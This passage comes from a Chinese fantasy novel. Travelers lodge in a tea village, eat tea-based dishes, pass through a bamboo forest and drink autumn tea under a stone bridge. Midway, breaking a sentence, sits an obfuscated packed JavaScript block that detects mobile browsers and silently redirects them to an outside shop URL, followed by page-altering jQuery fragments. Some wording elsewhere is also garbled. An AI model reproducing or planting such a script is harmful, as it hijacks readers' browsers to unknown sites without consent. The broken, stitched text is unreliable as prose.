傍晚她们在茶山脚下的一个村子里过夜。村子叫茶坞，家家户户种茶制茶。村口有一座焙茶房，土墙瓦顶，房门敞着。里面是几口大铁锅，锅底还有昨天焙茶留下的余烬。焙茶的火是文火，烧的是茶籽壳。茶籽壳烧起来烟少，火柔，焙出来的茶叶不带烟气。焙茶房的墙上挂着竹筛，筛底编得细密。竹筛被茶油浸-透了，颜色从青黄变成了深褐。
村长是个精瘦的妇人，手脚利落，说话也利落。她把四个人安排在焙茶房隔壁的空屋里。空屋平时是放茶叶的，现在茶叶卖完了，屋子空着。屋里还留着茶香，干茶叶堆在一起时，产生了那种沉沉的、收敛着的香。像把整个春天都压缩了封存在这间屋子里，等人来开封。
晚饭是村长端来的——茶油炒饭，茶汤炖蛋，凉拌茶青。茶油炒饭是用今年的新茶籽榨的油，油色清亮，炒出来的饭粒裹着一层薄薄的光。茶汤炖蛋是把鸡蛋打散了用凉茶水调开，隔水炖成颤巍巍的蛋羹。蛋羹是淡绿色的，上面淋了几滴茶油。凉拌茶青是把茶树的嫩芽焯了水，用盐和茶油拌了。嫩芽是春天采茶时摘下来的芽尖，焯水之后冻在井里存到现在。嚼在嘴里还是脆的，带着春天清晨露水的气息。
流栖灯把茶汤炖蛋拌在茶油炒饭里吃。蛋羹嫩得用嘴唇一抿就化了，茶汤的微苦和蛋的鲜混在一起，被米饭的热气蒸上来。“这个蛋羹是苦的。”
“茶汤调的，当然苦。”村长坐在门槛上剥茶籽。茶籽是今年的，晒干了准备明年榨油。她的手指甲被茶籽壳染成了深褐色。“但苦完了是甜。你细品。”
流栖灯又吃了一口。苦味从舌尖上走过去，然后舌根上升起来一种很淡很淡的甜。
格蕾塔吃着凉拌茶青。茶青在井里冻了大半年，还是脆的。咬下去有极细的纤维断裂的声音，像踩在初冬的薄冰上。“主教也做过这道菜。南部的山上有一棵野茶树，很高。每年春天主教带着我们采芽尖。采回来的芽尖焯了水，用山泉水冻在陶罐里。到了夏天最热的时候拿出来，拌上盐和山茶油。吃一口，满嘴都是春天。”
村长剥茶籽的手停了一下。“你们主教是个会吃的人。茶青要冻在井水里，不能冻在冰窖里。冰窖太冷，冻过了头，茶青的脆就死了。井水的凉，刚刚好。”
格蕾塔把碗里最后一片茶青夹起来吃了。“她已经不在了。你说的这些，我替她记着。”
村长没有接话，低下头继续剥茶籽。茶籽壳在她手指间碎裂，发出干燥的噼啪声。灶房里的火光从门缝透出来，照在她深褐色的手指甲上。
夜里流栖灯躺在茶香弥漫的空屋里。茶香从墙壁，从房梁，从地板的缝隙里渗出来，并非泡出来的香，是干茶叶堆在一起时那种沉沉的、收敛着的香。像把整个春天都压缩了封存在这里。她侧躺着，从窗洞看出去。茶坞的夜是黑的，没有月亮。但茶山上有光，焙茶房的火。有人在夜里焙茶，文火柔柔地烧着，火光从焙茶房的门窗透出来，把茶树的影子投在山坡上。
她把手按在白麻布上。纺织妖精的节点在布角上亮着，银蓝色的光和窗外焙茶房的火光是两种不同的亮。一个是林子深处的月光，一个是人间的文火。她把白麻布拿出来，在茶坞这一页画了焙茶房的火光从门窗透出来，把茶树的影子投在山坡上。
第二天早晨离开茶坞的时候，村长往她们鞍袋里塞了一小罐茶油和一包焙好的秋茶。秋茶是霜打过之后采的，条索粗壮，颜色墨绿。村长说：“秋茶不香，但甜。霜把叶子里多余的水分逼出去了，留下来的都是筋骨。筋骨是甜的。”
流栖灯接过茶叶放进鞍袋里。鞍袋里已经有茶农的春茶了。春茶和秋茶装在一起，一个鲜，一个沉。
上马之后她回头看了一眼茶坞。焙茶房的烟正在升起来，青灰色的，在初冬的晨光里是笔直的。有人在焙茶，文火柔柔地烧着。她转回头看着前面的路。
阿灰的蹄声在石板路上响起来。
从茶坞往南，官道穿过一片又一片的竹林。竹子是毛竹，碗口粗，笔直地往上蹿，在头顶很高的地方才散开枝叶。竹叶是墨绿色的，密密的，把天遮得零零碎碎。阳光从叶子的缝隙里漏下来，在地上落了一片一片的光斑。光斑是青绿色的——被竹叶滤过了。风穿过竹林的时候，竹秆互相碰撞发出空空的声响，像极远极远的鼓声。竹叶的响声是另一种，沙沙的，比竹秆的声音高，比芦苇的声音脆。
流栖灯勒住穗子听竹秆碰撞的声音。空空空，空空空。像有人在很深的地下敲着什么。“竹子是空心的。”
“空心的才长得高。”艾莉西亚策马走在她旁边，伸手拍了拍路边一根碗口粗的毛竹。竹秆在她掌下发出沉实的声音，不空，是满的，是中空，也办法空心。中空和空心不是一回事。中空是为了把力气用在往上长，不浪费在填满自己上。“师母说，竹子的每一节都是一个节点。节与节之间是空的，但节本身是实的。空的地方让风通过，实的地方撑住自己。”
流栖灯从穗子背上翻下来，走到一根毛竹前仰头往上看。竹秆从地面一直蹿上去，在很高很高的地方才散开枝叶。每一节之间都是空的，但每一节本身是实的。节把空的部分分成一段一段，不让空的地方连成一片。连成一片就空了，分成一段一段就是中空。“节是实的，节与节之间是空的。空的地方让风通过，实的地方撑住自己。”
她从口袋里拿出白麻布，在竹林这一页画了毛竹，节是实的，节间是空的。
格蕾塔站在竹林边看着满山的竹子。红栎在她身后，笼头上的铜铃被风吹得轻轻响。她从地上捡起一片落下来的竹叶。竹叶是墨绿色的，狭长，叶尖已经枯了，卷起来像一只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625183|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
极小的船。她把竹叶放进水里——路边有一条竹渠，引山泉水从竹林里穿过。竹叶漂在水面上，顺着水流慢慢往下走。
“南部的山上也有竹子，那是细一点的苦竹。主教用苦竹做笛子。苦竹的节长，肉薄，做出来的笛子声音清。”她看着那片竹叶漂远。“她说，竹子活着的时候是空心的，死了之后做成笛子，空心里就住进了声音。”
玛丽玛丽站在竹渠边看着水流。渠水是山泉，清得看不见水，只看见水底的石子和竹叶的影子在动。她从口袋里摸出一样东西——一颗青绿色的石头。白水渡那个送孙女上船的老人给的。石面上那条河流形状的纹路在水光里微微起伏，像活了一样。
“那个老人说，这颗石头在青河里捡的。捡了很多年，这颗最像青河。”她把石头放在渠水里。石头沉下去落在石子中间，青绿色的，和周围的石子颜色不同，但形状融在一起。“她让我替她看看下游的水。”
渠水从石头上流过去。石头在水底安安静静地待着。
流栖灯蹲在渠边把手伸-进水里。水是凉的，山泉的凉。手指碰到那颗青绿色的石头，石头在水底轻轻晃了一下又稳住了。“它从青河到白水河，从白水河到这里。它走了很远的路。”
“它还会继续走。”玛丽玛丽把手从水里收回来，湿的手指在裤子上擦了擦。“我把它带在身上，它就跟着我走。走到帝都，走到下一个地方。青河的石头，替青河看看别处的水。”
中午她们在竹林边的石桥下歇脚。石桥是单孔拱桥，桥洞下是一条山溪，溪水从竹林里流出来汇进白水河。溪水清得能看见水底的石子和游动的小鱼。鱼是溪石斑，不大，背脊是青灰色的，身上有黑色的横纹。它们在水流里一动不动，只有尾巴轻轻摆着抵消水流的力量。
格蕾塔从鞍袋里拿出茶坞村长给的秋茶和陶窑女人给的茄皮紫小壶。她在溪边生了火，用铜壶烧了溪水。水开了，她把秋茶放进茄皮紫小壶里，冲入沸水。茶叶在壶里慢慢舒展开来，墨绿色的条索变成了深绿的叶片。茶汤从壶嘴里倒出来是金红色的——秋茶泡出来的颜色比春茶深，比夏茶亮。像秋天的树叶在杯子里重新活了一遍。
四个人坐在桥洞下的石头上端着茶碗喝茶。溪水从脚边流过去，桥洞把水流声拢住了，变成一种低沉而绵长的回响。
流栖灯喝了一口秋茶。甜，不像春茶那种鲜嫩的甜，是更沉更厚的甜。像茶坞村长说的，霜把多余的水分逼出去了，留下来的是筋骨。“筋骨是甜的。”
艾莉西亚端着茶碗没有喝。她看着茶碗里金红色的茶汤，茶汤表面映着桥洞顶上垂下来的藤蔓的倒影。“师母不喝秋茶。她说秋茶太老了，没有了春天的鲜活。她只喝春茶，明前的，雨前的。谷雨之后的她就不喝了。”
“你现在喝秋茶。”